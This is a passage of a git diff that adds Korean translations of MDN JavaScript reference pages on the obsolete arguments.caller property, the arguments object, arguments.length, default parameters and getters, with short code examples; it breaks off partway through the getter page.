+<p>이 속성은 더 이상 이용할 수 없습니다. 하지만 {{jsxref("Function.caller")}} 는 사용할 수 있습니다.</p>
+
+<pre class="brush: js">function whoCalled() {
+ if (whoCalled.caller == null)
+ console.log('I was called from the global scope.');
+ else
+ console.log(whoCalled.caller + ' called me!');
+}</pre>
+
+<h2 id="예">예</h2>
+
+<p>다음의 코드는 함수 내에서 <code>arguments.caller </code>값을 확인하기 위해 사용되었지만, 더 이상 작동하지 않습니다.</p>
+
+<pre class="brush: js example-bad">function whoCalled() {
+ if (arguments.caller == null)
+ console.log('I was called from the global scope.');
+ else
+ console.log(arguments.caller + ' called me!');
+}
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<p>초기 정의된 부분이 아닙니다. JavaScript 1.1에서 구현되었으며, 잠재적인 보안 취약의 우려로 ({{bug(7224)}}) 삭제되었습니다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/arguments/index.html b/files/ko/web/javascript/reference/functions/arguments/index.html
new file mode 100644
index 0000000000..98b5f1385b
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/arguments/index.html
@@ -0,0 +1,189 @@
+---
+title: arguments 객체
+slug: Web/JavaScript/Reference/Functions/arguments
+tags:
+ - Functions
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Functions/arguments
+---
+<div>
+<div>{{jsSidebar("Functions")}}</div>
+</div>
+
+<p><strong><code>arguments</code></strong> 객체는 함수에 전달된 인수에 해당하는 <code>Array</code> 형태의 객체입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> ES6 호환 코드를 작성 중이라면 되도록 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters">나머지 매개변수</a> 구문을 사용해야 합니다.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: "<code>Array</code> 형태"란 <code>arguments</code>가 {{jsxref("Array.length", "length")}} 속성과 더불어 0부터 인덱스 된 다른 속성을 가지고 있지만, {{jsxref("Array")}}의 {{jsxref("Array.prototype.forEach()", "forEach")}}, {{jsxref("Array.prototype.map()", "map")}}과 같은 내장 메서드를 가지고 있지 않다는 뜻입니다.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-arguments.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">arguments</pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>arguments</code> 객체는 모든 함수 내에서 이용 가능한 지역 변수입니다. <code>arguments</code> 객체를 사용하여 함수 내에서 모든 인수를 참조할 수 있으며, 호출할 때 제공한 인수 각각에 대한 항목을 갖고 있습니다. 항목의 인덱스는 0부터 시작합니다.</p>
+
+<p>예를 들어, 함수가 세 개의 인수를 받은 경우 다음과 같이 접근할 수 있습니다.</p>
+
+<pre class="brush: js">arguments[0]
+arguments[1]
+arguments[2]
+</pre>
+
+<p>각 인수를 설정하거나 재할당할 수도 있습니다.</p>
+
+<pre class="brush: js">arguments[1] = 'new value';
+</pre>
+
+<p><code>arguments</code> 객체는 {{jsxref("Array")}}가 아닙니다. <code>Array</code>와 비슷하지만, {{jsxref("Array.prototype.length", "length")}} 빼고는 {{jsxref("Array.prototype.pop", "pop()")}}과 같은 어떤 <code>Array</code> 속성도 없습니다. 그러나 실제 <code>Array</code>로 변환할 수 있습니다:</p>
+
+<pre class="brush: js">var args = Array.prototype.slice.call(arguments);
+var args = [].slice.call(arguments);
+</pre>
+
+<p><code>arguments</code>를 실제 <code>Array</code>로 변환하기 위해 ES2015의 {{jsxref("Array.from()")}} 메서드 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Spread_operator" title="spread operator">전개 연산자</a>를 사용할 수도 있습니다.</p>
+
+<pre class="brush: js">var args = Array.from(arguments);
+var args = [...arguments];
+</pre>
+
+<p>당신이 형식상 받기로 선언된 것보다 많은 인수로 함수를 호출하는 경우 <code>arguments</code> 객체를 사용할 수 있습니다. 이 기법은 가변 인수가 전달될 수 있는 함수에 유용합니다. 함수에 전달된 인수의 수를 결정하기 위해 <code><a href="/ko/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>를 쓰세요, 그 뒤에 <code>arguments</code> 객체를 사용하여 각 인수를 처리하세요. 함수 <a href="/ko/docs/Glossary/Signature/Function">signature</a>에 매개변수의 수를 결정하기 위해서는, <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function/length">Function.length</a></code> 속성을 쓰세요.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></dt>
+ <dd>현재 실행 중인 함수를 가리킵니다.</dd>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/caller">arguments.caller</a></code> {{ Obsolete_inline() }}</dt>
+ <dd>현재 실행 중인 함수를 호출한 함수를 가리킵니다.</dd>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/length">arguments.length</a></code></dt>
+ <dd>함수에 전달된 인수의 수를 가리킵니다.</dd>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/@@iterator">arguments[@@iterator]</a></code></dt>
+ <dd>arguments의 각 인덱스 값을 포함하는 새로운 Array Iterator 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="여러_문자열을_연결하는_함수_정의하기">여러 문자열을 연결하는 함수 정의하기</h3>
+
+<p>이 예는 여러 문자열을 연결하는 함수를 정의합니다. 함수의 유일한 형식 인수는 연결할 항목을 구분하는 문자를 지정하는 문자열입니다. 함수는 다음과 같이 정의됩니다:</p>
+
+<pre class="brush:js">function myConcat(separator) {
+ var args = Array.prototype.slice.call(arguments, 1);
+ return args.join(separator);
+}</pre>
+
+<p>이 함수에 인수를 얼마든지 전달할 수 있으며 리스트 내 항목처럼 각 인수를 사용하여 리스트를 만듭니다.</p>
+
+<pre class="brush:js">// "red, orange, blue" 반환
+myConcat(", ", "red", "orange", "blue");
+
+// "elephant; giraffe; lion; cheetah" 반환
+myConcat("; ", "elephant", "giraffe", "lion", "cheetah");
+
+// "sage. basil. oregano. pepper. parsley" 반환
+myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre>
+
+<h3 id="HTML_리스트를_만드는_함수_정의하기">HTML 리스트를 만드는 함수 정의하기</h3>
+
+<p>이 예는 리스트 HTML을 포함하는 문자열을 만드는 함수를 정의합니다. 함수의 유일한 형식 인수는 리스트가 정렬되지 않은(bulluet(글 머리 기호)가 붙는) 경우 "<code>u</code>" 또는 정렬된(번호가 매겨진) 경우 "<code>o</code>"인 문자열입니다. 함수는 다음과 같이 정의됩니다:</p>
+
+<pre class="brush:js">function list(type) {
+ var result = "&lt;" + type + "l&gt;&lt;li&gt;";
+ var args = Array.prototype.slice.call(arguments, 1);
+ result += args.join("&lt;/li&gt;&lt;li&gt;");
+ result += "&lt;/li&gt;&lt;/" + type + "l&gt;"; // end list
+
+ return result;
+}</pre>
+
+<p>이 함수에 인수를 얼마든지 전달할 수 있고, 표시된 유형의 리스트에 항목으로 각 인수를 추가합니다. 예를 들면:</p>
+
+<pre class="brush:js">var listHTML = list("u", "One", "Two", "Three");
+
+/* listHTML은:
+
+"&lt;ul&gt;&lt;li&gt;One&lt;/li&gt;&lt;li&gt;Two&lt;/li&gt;&lt;li&gt;Three&lt;/li&gt;&lt;/ul&gt;"
+
+*/</pre>
+
+<h3 id="나머지_기본_및_비구조화된_매개변수">나머지, 기본 및 비구조화된 매개변수</h3>
+
+<p><code>arguments</code> 객체는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="rest parameters">나머지 매개변수</a>, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="default parameters">기본 매개변수</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" title="destructured parameters">비구조화된 매개변수</a>와 함께 사용될 수 있습니다.</p>
+
+<pre class="brush: js">function foo(...args) {
+ return arguments;
+}
+foo(1, 2, 3); // { "0": 1, "1": 2, "2": 3 }
+</pre>
+
+<p>그러나, 비엄격 함수에서는 <strong>mapped <code>arguments</code> 객체</strong>는 함수가 어떤 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="rest parameters">나머지 매개변수</a>, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="default parameters">기본 매개변수</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" title="destructured parameters">비구조화된 매개변수</a>든 포함하지 <strong>않는</strong> 경우에만 제공됩니다. 예를 들어, 기본 매개변수를 사용하는 다음 함수에서는, 100 대신에 <code>10</code>이 반환됩니다:</p>
+
+<pre class="brush: js">function bar(a=1) {
+ arguments[0] = 100;
+ return a;
+}
+bar(10); // 10
+</pre>
+
+<p>이 예에서, 어떤 <a href="/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters" title="rest parameters">나머지 매개변수</a>, <a href="/ko/docs/Web/JavaScript/Reference/Functions/Default_parameters" title="default parameters">기본 매개변수</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment" title="destructured parameters">비구조화된 매개변수</a>가 없는 경우에는, 100이 반환됩니다:</p>
+
+<pre class="brush: js">function zoo(a) {
+ arguments[0] = 100;
+ return a;
+}
+zoo(10); // 100
+
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.1에서 구현됨</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.functions.arguments")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/arguments/length/index.html b/files/ko/web/javascript/reference/functions/arguments/length/index.html
new file mode 100644
index 0000000000..d8ea3f0da4
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/arguments/length/index.html
@@ -0,0 +1,74 @@
+---
+title: arguments.length
+slug: Web/JavaScript/Reference/Functions/arguments/length
+translation_of: Web/JavaScript/Reference/Functions/arguments/length
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>arguments.length</code></strong> 속성은 함수에 전달된 인수의 수를 포함하고 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">arguments.length</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>arguments.length 속성은 실제로 함수에 전달된 arguments 의 수를 제공합니다. 이것은 정의된 매개변수의 수보다 작을 수도 클 수도 있습니다. ({{jsxref("Function.length")}} 보기).</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="arguments.length_사용하기"><code>arguments.length</code> 사용하기</h3>
+
+<p>이 예시에서는 둘 또는 그 이상의 수를 더할 수 있는 함수를 정의합니다.</p>
+
+<pre class="brush: js">function adder(base /*, n2, ... */) {
+ base = Number(base);
+ for (var i = 1; i &lt; arguments.length; i++) {
+ base += Number(arguments[i]);
+ }
+ return base;
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.1에서 구현됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.functions.arguments.length")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Function.length")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/default_parameters/index.html b/files/ko/web/javascript/reference/functions/default_parameters/index.html
new file mode 100644
index 0000000000..2783b65844
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/default_parameters/index.html
@@ -0,0 +1,239 @@
+---
+title: 기본값 매개변수
+slug: Web/JavaScript/Reference/Functions/Default_parameters
+tags:
+ - ECMAScript2015
+ - ECMAScript6
+ - Functions
+ - JavaScript
+ - 기본값 매개변수
+translation_of: Web/JavaScript/Reference/Functions/Default_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p> 기본값 함수 매개변수 (<strong>default function parameter</strong>)를 사용하면 값이 없거나 <code>undefined</code>가 전달될 경우 이름붙은 매개변수를 기본값으로 초기화할 수 있습니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-default.html")}}</p>
+
+<div class="hidden">
+<p>위의 상호작용가능한 예제의 소스는 깃허브 저장소에 저장됩니다. 상호작용 예제 프로젝트에 기여하고 싶다면 <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 를 클론(clone)하여 풀 리퀘스트(pull request) 를 보내주세요.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">function [<em>name</em>]([<em>param1</em>[ = <em>defaultValue1</em> ][, ..., <em>paramN</em>[ = defaultValueN ]]]) {
+ <em>statements</em>
+}
+</pre>
+
+<h2 id="설명">설명</h2>
+
+<p>JavaScript에서, 함수의 매개변수는 <code>{{jsxref("undefined")}}</code>가 기본입니다. 그러나, 일부 상황에서는 다른 기본 값을 설정하는 것이 유용할 수 있습니다. 이때가 바로 기본값 매개변수 가 필요할 때 입니다.</p>
+
+<p>과거에 기본값 설정을 위한 일반적인 방법은 함수 내부(body)에서 매개변수 값을 검사해 <code>undefined</code>인 경우 값을 할당하는 것이었습니다.</p>
+
+<p>다음 예제에서, <code>multiply</code>호출시 <code>b</code>에 할당된  값이 없다면, <code>b</code> 값은 <code>a*b</code>를 평가할 때 <code>undefined</code>일 거고 <code>multiply</code> 호출은 <code>NaN</code>이 반환됩니다. </p>
+
+<pre class="notranslate"><code>function multiply(a, b) {
+ return a * b
+}
+
+multiply(5, 2) // 10
+multiply(5) // NaN !</code></pre>
+
+<p>이를 방지하기 위해서, 아래 두번째 줄과 같이  <code>multiply</code> 함수가 오직 한 개의 인수만 있다면  <code>b</code>를  <code>1</code>로 설정하는 방식을 사용하곤 했습니다.</p>
+
+<pre class="brush: js notranslate">function multiply(a, b) {
+ b = (typeof b !== 'undefined') ? b : 1
+ return a*b
+}
+
+multiply(5, 2) // 10
+multiply(5) // 5
+</pre>
+
+<p>ES2015의 기본값 매개변수로 함수 내부 에서의 검사는 더 이상 필요치 않습니다. 이제, 간단히 함수 머리(head)에서 <code>b</code>의 기본값으로 <code>1</code> 로 설정할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">function multiply(a, b = 1) {
+ return a*b
+}
+
+multiply(5, 2) // 10
+multiply(5) // 5
+multiply(5, undefined) // 5
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="undefined_vs._다른_거짓같은_값falsy_values_전달하기"><code>undefined</code> vs. 다른 거짓같은 값(falsy values) 전달하기</h3>
+
+<p>아래 예제중 두 번째 호출에서, 설사 두 번째 인수를 호출할 때 명시해서 <code>undefined</code> (<code>null</code> 혹은 {{glossary("falsy")}} 값이 아니긴 하지만 )로 설정하더라도 , <code>num</code> 인수의 값은 여전히 기본값입니다.</p>
+
+<pre class="brush: js notranslate">function test(num = 1) {
+  console.log(typeof num)
+}
+
+test() // 'number' (num 은 1로 설정됨)
+test(undefined) // 'number' (num 이 역시 1로 설정됨)
+
+// 다른 falsy values로 테스트 하기:
+test('') // 'string' (num 은 ''로 설정됨)
+test(null) // 'object' (num 은 null로 설정됨)
+</pre>
+
+<h3 id="호출_시_평가">호출 시 평가</h3>
+
+<p>기본 인수는 <em>호출</em> <em>시 </em>에 평가됩니다, 그래서 Python의 경우 와는 달리, 함수가 호출될 때마다 새로운 객체가 생성됩니다.</p>
+
+<pre class="brush: js notranslate">function append(value, array = []) {
+ array.push(value)
+ return array
+}
+
+append(1) // [1]
+append(2) // [2], [1, 2]가 아니라
+
+</pre>
+
+<p>이는 심지어 함수 및 변수에도 적용됩니다:</p>
+
+<pre class="brush: js notranslate">function callSomething(thing = something()) {
+  return thing
+}
+
+let numberOfTimesCalled = 0
+function something(){
+  numberOfTimesCalled += 1
+ return numberOfTimesCalled
+}
+
+callSomething() // 1
+callSomething() // 2
+</pre>
+
+<h3 id="앞쪽_매개변수는_뒷쪽의_매개변수_기본값에_사용할_수_있습니다">앞쪽 매개변수는 뒷쪽의 매개변수 기본값에 사용할 수 있습니다</h3>
+
+<p>매개 변수가 여러개일 때 앞쪽에( 왼쪽 부분) 정의된 매개변수는 뒷쪽에 정의된 매개변수의 기본값에  바로 사용할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">function greet(name, greeting, message = greeting + ' ' + name) {
+  return [name, greeting, message]
+}
+
+greet('David', 'Hi') // ["David", "Hi", "HiDavid"]
+greet('David', 'Hi', 'Happy Birthday!') // ["David", "Hi", "Happy Birthday!"]
+</pre>
+
+<p>이 기능은,  얼마나 많은 경계 조건(edge case)를 다룰수 있는지 보여주는, 아래 예제로 거의 설명 가능합니다.</p>
+
+<pre class="brush: js notranslate">function go() {
+ return ':P'
+}
+
+// 함수 정의가 간단해짐
+function withDefaults(a, b = 5, c = b, d = go(), e = this,
+ f = arguments, g = this.value) {
+ return [a,b,c,d,e,f,g]
+}
+
+// 함수 정의가 길고 장황함
+function withoutDefaults(a, b, c, d, e, f, g){
+ switch(arguments.length){
+ case 0:
+ a;
+ case 1:
+ b = 5;
+ case 2:
+ c = b;
+ case 3:
+ d = go();
+ case 4:
+ e = this;
+ case 5:
+ f = arguments;
+ case 6:
+ g = this.value;
+ default:
+ }
+ return [a,b,c,d,e,f,g];
+}
+
+// 아래와 같이 함수 호출하면 동일한 결과를 보임
+
+withDefaults.call({value:"=^_^="});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+withoutDefaults.call({value:"=^_^="});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+</pre>
+
+<h3 id="유효범위_효과_Scope_Effects">유효범위 효과 (Scope Effects)</h3>
+
+<p>한개 이상의 매개변수에 기본값이 지정되면 특별히 매개변수 목록내의 식별자들(identifiers) 대상으로, <a href="https://tc39.es/ecma262/#sec-functiondeclarationinstantiation">두번째 스코프</a> (Environment Record) 가 생성됩니다.</p>
+
+<p>이 말은 함수 내부에 선언된 함수와 변수들은 매개변수 기본값 초기화시에 참조할 수  없다는 말입니다; 그렇게 하려고 하면 실행시간 에러인 {{jsxref("ReferenceError")}} 를 유발합니다.</p>
+
+<p>이 말은 또한 함수 내부에서 <code>var</code> 로 선언된 변수는 동일한 이름을 가진 매개변수를 가리게 되는, 중첩 <code>var</code> 선언 으로 인한 일반적인 동작이 일어나지 않는다는 말입니다.</p>
+
+<p>아래 함수는 호출되면 <code>ReferenceError</code> 를 발생시킵니다. 매개변수 기본값이 함수 내부의 자식 유효범위를 참조할 수 없기 때문입니다.</p>
+
+<pre class="brush: js example-bad notranslate">function f(a = go()) { // `f`가 호출 되면 `ReferenceError` 발생
+ function go() { return ':P' }
+}</pre>
+
+<p>...그리고 아래 함수는 <code>undefined</code> 를 프린트 하는데,  <code>var a</code> 가 함수 내부 대상의 유효범위내에서만 효과를 가지기 때문입니다. ( 매개변수 목록이 대상인 부모 스코프가 아니라)</p>
+
+<pre class="brush: js example-bad notranslate">function f(a, b = () =&gt; console.log(a)) {
+ var a = 1
+ b() // `undefined`를 인쇄하는데, 매개변수 기본값이 자체 스코프에 있기 때문입니다
+} </pre>
+
+<h3 id="기본값_매개변수_뒤쪽의_기본값_없는_매개변수">기본값 매개변수 뒤쪽의 기본값 없는 매개변수</h3>
+
+<p>매개변수는 여전히 왼쪽에서 오른쪽으로 설정됩니다. 아래 예제에서 뒷쪽에 기본값이 없는 매개변수가 있지만 기본값 매개변수를 덮어씁니다.</p>
+
+<pre class="brush: js notranslate">function f(x=1, y) {
+ return [x, y];
+}
+
+f() // [1, undefined]
+f(2) // [2, undefined]
+</pre>
+
+<h3 id="기본값_할당_있는_해체된_매개변수">기본값 할당 있는 해체된 매개변수</h3>
+
+<p>기본값 할당을 {{jsxref("Operators/Destructuring_assignment", "destructuring assignment", "", 1)}} 표기와 함께 사용할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">function f([x, y] = [1, 2], {z: z} = {z: 3}) {
+ return x + y + z
+}
+
+f() // 6</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>이 페이지의 호환성 표는 구조화된 데이타로 부터 생성됩니다. 해당 데이타 업데이트에 기여하고 싶다면 이 깃허브 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 체크아웃 해서 풀 리퀘스트를 보내주세요.</p>
+</div>
+
+<p>{{Compat("javascript.functions.default_parameters")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values" rel="external" title="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values">Original proposal at ecmascript.org</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/get/index.html b/files/ko/web/javascript/reference/functions/get/index.html
new file mode 100644
index 0000000000..fb64206dff
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/get/index.html
@@ -0,0 +1,179 @@
+---
+title: getter
+slug: Web/JavaScript/Reference/Functions/get
+tags:
+ - 자바스크립트
+ - 함수
+translation_of: Web/JavaScript/Reference/Functions/get
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>get</code></strong> 구문은 객체의 프로퍼티를 그 프로퍼티를 가져올 때 호출되는 함수로 바인딩합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-getter.html")}}</p>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">{get <em>prop</em>() { ... } } {get <em>[expression]</em>() { ... } }</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>주어진 함수를 바인딩할 프로퍼티의 이름입니다.</dd>
+ <dt>expression</dt>
+ <dd>ECMAScript 2015가 도입되면서, 함수의 이름을 계산하기 위해 표현식을 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>어떤 프로퍼티에 접근할 때마다 그 값을 계산하도록 해야 하거나, 내부 변수의 상태를 명시적인 함수 호출 없이 보여주고 싶을 때, JavaScript의 <em>getter</em>를 이용할 수 있습니다. getter가 바인딩된 프로퍼티는 동시에 실제 값을 가질 수는 없지만, getter와 setter를 동시에 바인딩해 일종의 유사 프로퍼티(pseudo-property)를 만들 수는 있습니다.</p>
+
+<p><code>get</code> 구문을 이용할 때는 다음을 유의하세요.</p>
+
+<div>
+<ul>
+ <li>숫자나 문자열로 구성된 식별자를 이용할 수 있습니다.</li>
+ <li>getter는 절대로 매개변수를 가져서는 안 됩니다. (<a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a> 를 참조하세요.)</li>
+ <li>하나의 객체 리터럴에 또다른 getter나 데이터 바인딩은 불가능합니다. (<code>{ get x() { }, get x() { } }</code> 나 <code>{ x: ..., get x() { } }</code> 는 사용할 수 없습니다.)</li>
+</ul>
+</div>
+
+<p>getter는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/delete_Operator">delete</a></code> 연산자를 이용해 삭제할 수 있습니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="getter를_객체_초기자에서_정의하기">getter를 객체 초기자에서 정의하기</h3>
+
+<p>객체 <code>obj</code>에 유사 프로퍼티 <code>latest</code>를 생성합니다. <code>latest</code>는 배열 <code>log</code>의 마지막 요소를 반환합니다.</p>
+
+<pre><code>var obj = {
+ log: ['example','test'],
+ get latest() {
+ if (this.log.length == 0) return undefined;
+ return this.log[this.log.length - 1];
+ }
+}
+console.log(obj.latest); // "test".</code></pre>
+
+<p><code>latest</code>에 어떤 값을 할당하려고 시도해도 그 값이 바뀌지 않는다는 점을 유의하세요.</p>
+
+<h3 id="delete연산자를_이용해_getter_삭제하기"><code>delete</code>연산자를 이용해 getter 삭제하기</h3>
+
+<p>getter를 삭제하고 싶다면, <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code>를 이용하면 됩니다.</p>
+
+<pre class="brush: js">delete obj.latest;
+</pre>
+
+<h3 id="defineProperty를_이용해_이미_존재하는_객체에_getter_정의하기"><code>defineProperty</code>를 이용해 이미 존재하는 객체에 getter 정의하기</h3>
+
+<p>이미 존재하는 객체에 getter를 추가하고자 한다면, {{jsxref("Object.defineProperty()")}}를 이용하면 됩니다.</p>
+
+<pre class="brush: js">var o = { a:0 }
+
+Object.defineProperty(o, "b", { get: function () { return this.a + 1; } });
+
+console.log(o.b) // getter를 실행합니다. a + 1 (= 1)이 반환됩니다.</pre>
+
+<h3 id="계산된_(computed)_프로퍼티_이름">계산된 (computed) 프로퍼티 이름</h3>
+
+<pre class="brush: js">var expr = "foo";
+
+var obj = {
+ get [expr]() { return "bar"; }
+};
+
+console.log(obj.foo); // "bar"</pre>
+
+<h3 id="똑똑한(Smart)_스스로_덮어쓰는(self-overwriting)_느긋한(lazy)_getter">똑똑한(Smart) / 스스로 덮어쓰는(self-overwriting) / 느긋한(lazy) getter</h3>
+
+<p>Getter는 객체에 프로퍼티를 정의할 수 있도록 하지만, 그 프로퍼티에 접근하기 전까지는 값을 계산하지 않습니다. getter는 값을 계산하는 비용을 실제 값이 필요할 때까지 미루며, 그 값이 필요없다면 계산 비용도 들지 않습니다.</p>
+
+<p>또다른 최적화 기법으로는 계산 미루기와 함께 프로퍼티 값을 나중에 접근하기 위해 캐싱하는 것이 있습니다. 이를<strong> 똑똑한(smart), 혹은 메모화된(<a href="https://en.wikipedia.org/wiki/Memoization">memoized</a>) getter</strong>라고 부릅니다. 값은 getter가 호출될 때 처음 계산되며, 캐싱됩니다. 이후의 호출에는 다시 계산하지 않고 이 캐시값을 반환합니다. 이는 다음과 같은 상황에 유용합니다.</p>
+
+<ul>
+ <li>값의 계산 비용이 큰 경우. (RAM이나 CPU 시간을 많이 소모하거나, worker thread를 생성하거나, 원격 파일을 불러오는 등)</li>
